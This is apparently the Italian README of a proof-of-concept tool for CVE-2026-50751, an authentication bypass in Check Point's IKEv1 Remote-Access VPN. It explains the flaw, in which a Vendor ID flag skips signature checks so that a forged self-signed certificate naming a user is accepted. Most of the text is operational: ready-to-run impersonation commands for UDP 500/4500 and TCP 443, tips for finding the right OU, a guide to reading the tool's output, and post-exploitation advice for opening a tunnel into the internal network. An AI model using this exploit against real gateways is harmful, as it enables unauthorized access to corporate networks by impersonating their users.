
Bypass dell'autenticazione tramite certificato nella VPN Remote-Access di Check Point (IKEv1).
Bypass dell'autenticazione tramite certificato nella VPN Remote-Access di Check Point (IKEv1).
CVE-2026-50751 è un bypass dell'autenticazione nel processo iked di Check Point, presente nelle versioni R81.10, R82 e R82.10 senza l'hotfix sk185033. La vulnerabilità consente di autenticarsi come qualsiasi utente di Remote Access provisionato senza chiave privata, senza password e senza certificato valido.
L'iked vulnerabile legge un flag dal Vendor ID VPNExtFeatures (bit 0x4) e, se attivato, omette verify_peer_auth / verifyMessagePhase1. Di conseguenza:
Non viene verificata la firma del certificato (prova di possesso).
Non viene verificata la catena di fiducia.
Si controlla solo che il subject DN corrisponda a un utente provisionato.
È sufficiente forgiare un certificato autofirmato il cui CN= coincida con l'utente target e inviarlo con una firma non valida. Se il gateway accetta la fase 1, siamo autenticati come quell'utente (la SA ISAKMP viene salvata sotto il suo DN).
Funziona su IKE (UDP 500/4500) e su Visitor Mode (TCPT, TCP 443).
Sintassi
cve-2026-50751 -host <IP|hostname> -user <username> [opciones]
| Flag | Descrizione | Predefinito |
|---|---|---|
-host | IP o hostname del gateway (obbligatorio) | — |
-user | Username RA da impersonare (obbligatorio) | — |
-port | Porta: 500, 4500 (UDP) o 443 (TCPT) | 500 |
-org | Organizzazione (O=) della ICA. Se omesso, viene derivato dal certificato TLS del gateway sulla porta 443 | — |
-ou | Unità organizzativa (OU=) del DN dell'utente. Deve corrispondere esattamente all'OU che Check Point memorizza per l'utente | users |
-timeout | Timeout per operazione (accetta qualsiasi durata Go: 6s, 500ms, 1m) | 6s |
-retries | Tentativi di msg1 se il gateway non risponde al primo tentativo | 1 |
-tcpt | Forza il trasporto Visitor Mode (TCPT su TCP, senza TLS). Si attiva automaticamente con -port 443 | false |
Nota su
-ou: il valore predefinito èusers, ma in pratica l'utente RA appartiene solitamente a un gruppo specifico (ad esempioVPN_GROUP). Verificalo conmgmt_cli show user name "<usuario>" details-level "full" --format jsone cerca il campodistinguished-name. UnOUerrato fa sì che il gateway scarti silenziosamente ilmsg5(NO_RESPONSEoINCONCLUSIVE), perché non risolve il DN a nessun utente provisionato.
O=)sudo ./cve-2026-50751 -host 203.0.113.10 -port 500 -user victim
Su Linux/macOS è necessario sudo per eseguire il bind della porta UDP 500 come origine. Se non puoi usare sudo, la PoC passa a una porta effimera e molti gateway ignorano i pacchetti perché la source port non è standard.
Utile quando il gateway non espone il proprio certificato TLS sulla 443, o quando il O= derivato automaticamente non coincide con quello dell'utente provisionato:
./cve-2026-50751 \
-host 203.0.113.10 \
-port 500 \
-user victim \
-org "gw-754bab.acme.s34394" \
-ou VPN_GROUP
Si attiva automaticamente specificando -port 443:
./cve-2026-50751 -host 203.0.113.10 -port 443 -user victim -org "ACME" -ou users
forzato esplicitamente con -tcpt (nel caso in cui il gateway abbia Visitor Mode in ascolto su una porta diversa dalla 443):
./cve-2026-50751 -host 203.0.113.10 -port 8443 -user victim -tcpt -org "ACME"
Per attraversare il NAT tra la tua macchina e il gateway. La PoC prefissa i pacchetti con il marcatore NON-ESP di RFC 3948:
sudo ./cve-2026-50751 -host 203.0.113.10 -port 4500 -user victim -org "ACME"
Utile su collegamenti lenti o gateway con rate limiting:
./cve-2026-50751 \
-host 203.0.113.10 \
-user victim \
-timeout 10s \
-retries 3 \
-org "ACME"
| Output | Significato | Cosa fare |
|---|---|---|
[+] [BYPASSED] + IP interna | Il bypass ha funzionato; la SA IKEv1 è stata stabilita come l'utente impersonato | Vedere la sezione Post-sfruttamento |
[-] [REJECTED] | Il gateway ha decifrato il tuo msg5 ma ha rifiutato l'autenticazione | Utente non provisionato, OU errato, o gateway con patch (sk185033) |
[-] [NO_CERT_REALM] | Il gateway non offre autenticazione tramite certificato in Main Mode | Il gateway non è in modalità Certificate/Mixed, o accetta solo IKEv2 |
[-] [NO_RESPONSE] | Nessuna risposta al msg1 | Firewall che blocca UDP/500, iked non in esecuzione, o rate limiting |
[!] [INCONCLUSIVE] | Nessuna risposta decisiva | Riprovare dopo qualche minuto; controllare tcpdump e i log di iked |
Una volta ottenuto [BYPASSED], la PoC ha stabilito una Associazione di Sicurezza IKEv1 completa e il gateway ti ha assegnato un IP virtuale dal pool di Remote Access. Dal punto di vista del gateway, sei l'utente impersonato all'interno della rete aziendale.
Tuttavia, la PoC non fornisce un tunnel dati utilizzabile (non implementa Quick Mode / IPsec ESP). Per sfruttare la posizione nella rete è necessario completare la fase 2. Questo può essere fatto con:
strongSwan o OpenVPN con certificato manipolabile: configurare il client affinché utilizzi un certificato con il DN falsificato e negoziare Quick Mode dopo il bypass. Richiede la modifica del flusso per iniettare il VID e saltare la verifica della firma lato client.Atacante Gateway (iked vulnerable)
│ │
│─── msg1: SA (RSA-SIG) + VPNExtFeatures VID (bit 0x4) ───▶│
│ │ Lee flag 0x4
│ │ Marca verify_peer_auth = skip
│◀── msg2: SA aceptado ────────────────────────────────────│
│ │
│─── msg3: KE (g^xi) + Ni ────────────────────────────────▶│
│◀── msg4: KE (g^xr) + Nr ─────────────────────────────────│
│ │
│ Deriva SKEYID, SKEYID_e, IV │
│ │
│─── msg5 (cifrado): ID=DN forjado + CERT autofirmado │
│ + firma aleatoria ───────────────────▶│
│ │ Omite verificación
│ │ de firma
│ │ Resuelve DN → usuario
│◀── msg6 (cifrado): SA establecida ───────────────────────│
│ │
│ Descifra msg6 con SKEYID_e → prueba de autenticación │